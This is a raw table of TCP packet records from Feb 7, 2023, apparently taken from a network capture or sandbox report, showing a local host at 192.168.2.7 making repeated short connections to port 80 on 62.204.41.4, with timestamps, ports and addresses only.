Feb 7, 2023 23:07:21.454952002 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.455003977 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.455441952 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.516063929 CET	80	49770	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.518047094 CET	80	49770	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.518126011 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.635972977 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.637115002 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.697083950 CET	80	49770	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.697288036 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.697586060 CET	80	49771	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.697738886 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.708261967 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.768702984 CET	80	49771	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.771372080 CET	80	49771	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.771547079 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.877340078 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.878175974 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.937906027 CET	80	49771	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.938033104 CET	49771	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.938921928 CET	80	49772	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.939181089 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.956084013 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.016979933 CET	80	49772	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.022943974 CET	80	49772	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.023227930 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.126421928 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.128186941 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.187827110 CET	80	49772	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.187953949 CET	49772	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.190660000 CET	80	49773	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.190820932 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.191272974 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.253628016 CET	80	49773	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.257436037 CET	80	49773	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.259797096 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.383476973 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.384227991 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.446818113 CET	80	49774	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.446850061 CET	80	49773	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.447057962 CET	49773	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.447557926 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.447557926 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.507508993 CET	80	49774	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.509736061 CET	80	49774	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.509946108 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.688174963 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.689019918 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.748406887 CET	80	49774	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.748627901 CET	49774	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.750543118 CET	80	49775	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.750749111 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.751530886 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.813040018 CET	80	49775	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.830991030 CET	80	49775	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.835306883 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.937752008 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.938762903 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:22.999325991 CET	80	49775	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:22.999587059 CET	49775	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.000422001 CET	80	49776	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.000585079 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.001075029 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.062597990 CET	80	49776	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.067475080 CET	80	49776	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.067708015 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.172158957 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.173948050 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.233695984 CET	80	49776	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.233794928 CET	49776	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.234564066 CET	80	49777	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.234715939 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.237313032 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.297863960 CET	80	49777	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.300386906 CET	80	49777	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.300550938 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.414607048 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.416202068 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.475344896 CET	80	49777	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.475574017 CET	49777	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.475689888 CET	80	49778	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.475831032 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.476929903 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.536472082 CET	80	49778	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.538858891 CET	80	49778	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.539103985 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.640296936 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.640908003 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.699811935 CET	80	49778	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.700000048 CET	49778	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.700516939 CET	80	49779	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.701050997 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.701654911 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.761367083 CET	80	49779	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.763823032 CET	80	49779	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.763977051 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.875158072 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.876107931 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.935132980 CET	80	49779	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.935337067 CET	49779	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.936583996 CET	80	49780	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:23.936726093 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:23.953445911 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.014033079 CET	80	49780	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.016743898 CET	80	49780	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.016956091 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.126164913 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.126990080 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.186878920 CET	80	49780	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.187052011 CET	80	49781	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.187098026 CET	49780	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.187144041 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.188555956 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.248678923 CET	80	49781	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.251075029 CET	80	49781	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.251184940 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.370630980 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.371747017 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.431061983 CET	80	49781	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.431155920 CET	49781	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.431941986 CET	80	49782	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.432041883 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.432492018 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.492721081 CET	80	49782	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.495655060 CET	80	49782	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.495857000 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.610002041 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.610797882 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.670583010 CET	80	49782	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.670725107 CET	49782	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.671283007 CET	80	49783	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.671756029 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.676198006 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.736965895 CET	80	49783	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.739541054 CET	80	49783	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.739644051 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.847856998 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.848516941 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.908581018 CET	80	49783	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.908715010 CET	49783	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.911043882 CET	80	49784	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.911206961 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.915414095 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:24.977853060 CET	80	49784	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.980734110 CET	80	49784	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:24.980892897 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.095534086 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.097093105 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.158174038 CET	80	49784	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.159164906 CET	49784	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.159616947 CET	80	49785	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.161189079 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.161286116 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.223737955 CET	80	49785	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.226727962 CET	80	49785	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.227392912 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.344871044 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.353492975 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.407640934 CET	80	49785	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.407804966 CET	49785	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.414966106 CET	80	49786	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.415256977 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.415635109 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.480077982 CET	80	49786	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.483971119 CET	80	49786	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.484179020 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.596446037 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.597500086 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.657990932 CET	80	49787	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.658035994 CET	80	49786	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.658099890 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.658143044 CET	49786	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.659773111 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.720316887 CET	80	49787	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.722987890 CET	80	49787	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.723139048 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.829993963 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.831172943 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.890559912 CET	80	49787	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.893204927 CET	49787	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.893769979 CET	80	49788	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.893912077 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.894311905 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:25.956885099 CET	80	49788	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.960613012 CET	80	49788	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:25.960753918 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.062853098 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.063540936 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.124267101 CET	80	49789	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.124440908 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.125134945 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.125417948 CET	80	49788	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.125531912 CET	49788	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.185787916 CET	80	49789	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.188009024 CET	80	49789	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.188117027 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.297611952 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.299007893 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.358336926 CET	80	49789	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.358447075 CET	49789	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.360670090 CET	80	49790	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.360820055 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.361222029 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.422755003 CET	80	49790	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.424854040 CET	80	49790	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.424992085 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.533235073 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.534982920 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.594909906 CET	80	49790	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.594997883 CET	49790	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.597559929 CET	80	49791	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.597728968 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.598223925 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.660381079 CET	80	49791	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.663130999 CET	80	49791	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.663249016 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.766766071 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.767944098 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.827349901 CET	80	49792	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.827728033 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.828345060 CET	80	49791	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.828356981 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.828494072 CET	49791	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:26.888451099 CET	80	49792	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.890578032 CET	80	49792	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:26.890726089 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.001113892 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.002262115 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.060729027 CET	80	49792	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.060930014 CET	49792	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.061959982 CET	80	49793	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.062333107 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.063291073 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.122957945 CET	80	49793	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.125319004 CET	80	49793	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.125478029 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.235559940 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.236294031 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.295830965 CET	80	49793	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.296005964 CET	49793	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.298918962 CET	80	49794	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.299319983 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.299792051 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.362812996 CET	80	49794	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.364953995 CET	80	49794	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.365075111 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.469372988 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.470566034 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.533015966 CET	80	49794	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.533092022 CET	49794	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.533679962 CET	80	49795	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.535239935 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.539097071 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.600553989 CET	80	49795	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.602813005 CET	80	49795	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.602966070 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.720675945 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.721600056 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.781949997 CET	80	49796	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.782032967 CET	80	49795	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.782186985 CET	49795	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.782327890 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.783129930 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.843400002 CET	80	49796	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.845711946 CET	80	49796	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:27.845902920 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.954525948 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:27.961710930 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.015137911 CET	80	49796	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.015278101 CET	49796	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.023339987 CET	80	49797	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.024085045 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.024523973 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.086393118 CET	80	49797	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.090460062 CET	80	49797	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.090645075 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.204319000 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.205245018 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.267211914 CET	80	49797	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.267272949 CET	80	49798	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.267340899 CET	49797	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.267776012 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.267776012 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.329170942 CET	80	49798	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.331127882 CET	80	49798	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.331789970 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.443473101 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.444314957 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.504836082 CET	80	49799	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.504872084 CET	80	49798	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.504995108 CET	49798	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.505366087 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.505366087 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.565840006 CET	80	49799	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.567754984 CET	80	49799	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.567868948 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.677778959 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.687254906 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.738447905 CET	80	49799	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.739860058 CET	49799	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.748841047 CET	80	49800	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.752810955 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.753248930 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.815395117 CET	80	49800	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.817456007 CET	80	49800	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.817583084 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.924969912 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.926079035 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.985599995 CET	80	49801	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.985817909 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.986645937 CET	80	49800	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:28.986782074 CET	49800	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:28.990557909 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.050081015 CET	80	49801	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.054677963 CET	80	49801	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.054913044 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.162950039 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.164315939 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.222534895 CET	80	49801	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.222734928 CET	49801	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.225236893 CET	80	49802	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.225456953 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.225909948 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.286425114 CET	80	49802	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.289135933 CET	80	49802	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.289294004 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.391720057 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.392693043 CET	49803	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.452275991 CET	80	49802	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.452450991 CET	49802	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.455213070 CET	80	49803	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.455369949 CET	49803	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.455828905 CET	49803	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.518136024 CET	80	49803	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.520322084 CET	80	49803	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.520477057 CET	49803	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.629848957 CET	49803	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.632126093 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.692430973 CET	80	49803	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.692636967 CET	49803	80	192.168.2.7	62.204.41.4
